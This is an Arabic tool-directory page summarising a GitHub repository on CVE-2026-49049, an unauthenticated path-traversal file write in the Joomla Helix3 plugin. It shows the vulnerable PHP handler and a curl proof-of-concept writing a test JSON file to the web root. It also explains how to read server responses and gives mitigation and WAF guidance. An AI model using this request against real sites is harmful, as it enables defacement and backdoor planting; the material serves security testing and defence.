Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-49049 | Kitploit
أدوات/GitHubGitHub/dr-d25/cve-2026-49049
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubdr-d25/cve-2026-49049

CVE-2026-49049

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استكشاف ثغرة CVE-2026-49049: كتابة ملفات تعسفية بدون مصادقة في JoomShaper Helix3 (Joomla)

يحتوي المستودع على مواد وتحليل تقني وإثبات مفهوم (PoC) لثغرة أمنية حرجة CVE-2026-49049، تم اكتشافها في إطار قوالب Helix3 من JoomShaper القديم لنظام إدارة المحتوى Joomla (الإصدارات من 1.0 حتى 3.1.0 شاملة).

يتم استغلال الثغرة بنشاط في البرية عبر شبكات الروبوتات الآلية (وتحديدًا ضمن حملة التشويه AntonKill).


🔬 التحليل الفني للثغرة

يكمن الخلل في معالج AJAX النظامي في Joomla (com_ajax)، الذي يستدعي طريقة onAjaxHelix3() في المكوّن الإضافي plg_ajax_helix3. لم يقم مطورو المكوّن بتوفير:

  1. التحقق من مصادقة المستخدم (Authentication Bypass).
  2. التحقق من رموز CSRF.
  3. تصفية المسارات (Path Traversal Validation) عند معالجة المعامل layoutName.

منطق كود PHP المعرض للخطر:

root@kitploit:~
public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // لا يوجد التحقق من الصلاحيات! لا يوجد تصفية للمسار!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // كتابة بيانات خاضعة للتحكم في دليل تعسفي على الخادم
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 إثبات المفهوم (PoC)

للتحقق من الثغرة، يُستخدم طلب POST بنوع المحتوى application/x-www-form-urlencoded. تُعد هذه الطريقة لتغليف المعاملات الأكثر فعالية لإظهار الثغرة.

متجه الهجوم (أمر cURL):

root@kitploit:~
curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

تحليل مفصّل للبيانات المُرسلة:


🎯 تحليل استجابات الخادم (شركات التحقق)

عند إجراء اختبار الاختراق، قد يعيد الخادم أنواعًا مختلفة من الاستجابات. تفسيرها أمر بالغ الأهمية:

الخيار أ: الثغرة نجحت (تمت كتابة الملف)

استجابة الخادم:

root@kitploit:~
{"success":true,"message":null,"messages":null,"data":[]}

التفسير: المكوّن الإضافي معرض للخطر، ولا توجد قيود من نظام التشغيل. تم إنشاء الملف بنجاح في جذر الموقع وهو متاح عبر https://target.com. يتطلب الموقع تنظيفًا وعزلًا فوريًا.

الخيار ب: المكوّن الإضافي معرض لكن حماية نظام التشغيل عملت

استجابة الخادم:

root@kitploit:~
{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

التفسير: نجاح جزئي. منطق المكوّن الإضافي Helix3 مخترق — فقد استقبل البيانات دون مصادقة وحاول فتح ملف للكتابة (fopen). لكن نظام التشغيل Linux حظر هذا الإجراء، لأن مستخدم خادم الويب (مثل www-data) ليس لديه صلاحيات الكتابة في جذر الموقع.

الخيار ج: النظام محمي (تم التحديث أو الإزالة)

استجابة الخادم: حالة 404 Not Found أو 403 Forbidden أو استجابة فارغة []. التفسير: تم تحديث المكوّن الإضافي إلى إصدار آمن (3.1.1+) حيث أُضيف التحقق من المصادقة، أو تمت إزالته بالكامل من نظام إدارة المحتوى.


🛡 التخفيف ومعالجة التهديد

  1. التحديث / الإزالة: حدّث Helix3 إلى الإصدار 3.1.1 أو أحدث. إذا لم يكن الإطار قيد الاستخدام، فاحذف المكوّن الإضافي plg_ajax_helix3 بالكامل عبر لوحة تحكم Joomla.
  2. الحماية على مستوى WAF (Nginx): أضف قاعدة لحظر طلبات POST الخبيثة:
    root@kitploit:~
    if (\(request_method = POST) { set\)test "P"; }
    if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
    if (\$test = PH) { return 403; }
    

إخلاء مسؤولية: هذه المادة مقدمة لأغراض تعليمية بحتة وللتدقيق الأمني المشروع للأنظمة (Pentesting). لا يتحمل المؤلف أي مسؤولية عن الاستخدام غير المشروع للمعلومات المقدمة.

تنزيل الأداة
المعاملالقيمة / المثالماذا يعني للخادم
optioncom_ajaxنقطة الدخول إلى Joomla لمعالجة طلبات AJAX.
pluginhelix3المعرف النظامي الذي يجبر Joomla على تسليم التحكم إلى المكوّن الإضافي Helix3 المعرض للخطر.
formatjsonيطلب من المحرك إرجاع الاستجابة بتنسيق JSON.
-ddata[...]نص الطلب (Form Data)، الذي يفسّره PHP تلقائيًا كمصفوفة عامة $_POST.
data[action]saveمفتاح switch في الكود. يوجّه المكوّن الإضافي لاستدعاء دالة الكتابة (إنشاء) الملف.
data[layoutName]../../../../../../../exampleمتجه الهجوم الرئيسي (Path Traversal). ترغم رموز ../ نظام التشغيل على الخروج من مجلد المكوّن الإضافي المعزول إلى الدليل الجذر للموقع. سيقوم المكوّن الإضافي بإضافة الامتداد .json تلقائيًا.
data[content]{"probe":"test"}الحمولة (Payload). بيانات نصية ستُكتب فعليًا داخل الملف المُنشأ example.json. في الهجمات الحقيقية، يُحقن هنا كود تشويه خبيث أو أبواب خلفية.